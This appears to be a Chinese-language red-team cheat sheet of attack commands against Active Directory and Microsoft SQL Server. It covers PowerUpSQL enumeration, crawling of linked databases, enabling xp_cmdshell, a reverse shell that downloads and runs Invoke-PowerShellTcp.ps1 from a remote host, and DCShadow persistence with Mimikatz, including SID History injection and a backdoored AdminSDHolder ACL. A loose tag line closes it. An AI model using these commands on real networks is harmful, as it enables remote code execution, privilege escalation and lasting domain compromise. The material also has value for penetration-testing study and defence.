PowerUpSQL: ``` . .\PowerUpSQL.ps1 ``` 链接:[PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) 软件:[HeidiSQL 客户端](https://github.com/HeidiSQL/HeidiSQL) **1. 枚举:** ``` # Discovery (SPN Scanning) Get-SQLInstanceDomain # 带有 Info 和 Verbose 模式的 Discovery (SPN Scanning) Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose # 检查可访问性 Get-SQLConnectionTestThreaded # 检查可访问性 Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose ``` **2. 数据库链接:** ``` # 搜索 Database Links Get-SQLServerLink -Instance dcorp-mssql -Verbose # 枚举 Database Links Get-SQLServerLinkCrawl -Instance dcorp-mssql -Verbose ``` ``` # 搜索 Database Links select * from master..sysservers # 枚举 Database Links select * from openquery("dcorp-sql1",'select * from openquery("dcorp-mgmt",''select * from master..sysservers'')') ``` **3. 命令执行:** ``` # 命令:whoami Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "exec master..xp_cmdshell 'whoami'" | ft # Reverse Shell Get-SQLServerLinkCrawl -Instance dcorp-mssql.corp.corporate.local -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://
/Invoke-PowerShellTcp.ps1'')"' ``` ``` # 启用 xp_cmdshell EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "eu-sql" # 命令:whoami select * from openquery("dcorp-sql1",'select * from openquery("dcorp-mgmt","select * from openquery("eu-sql.eu.corporate.local",""select@@version as version;exec master..xp_cmdshell "powershell whoami)"")")') ``` # Forest 持久化 DCShadow **1. 设置权限:** ``` # 设置权限 Set-DCShadowPermissions -FakeDC corp-user1 -SAMAccountName root1user -Username user1 -Verbose ``` **2. 使用 Mimikatz 发起 DCShadow 攻击:** ``` # 为用户设置 SPN lsadump::dcshadow /object:TargetUser /attribute:servicePrincipalName /value:"SuperHacker/ServicePrincipalThingey" # 为用户设置 SID History lsadump::dcshadow /object:TargetUser /attribute:SIDHistory /value:S-1-5-21-280565432-1493477821-700767426-345 # 需要检索当前的 ACL: (New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com")).psbase.ObjectSecurity.sddl # 然后获取目标用户 SID: Get-NetUser -UserName BackdoorUser | select objectsid # 为用户添加 full control primitive lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;[[S-1-5-21-280565432-1493477821-700767426-345]]) ```
标签:AI合规, IPv6, OpenCanary, PowerShell, Terraform 安全, Web报告查看器, 活动目录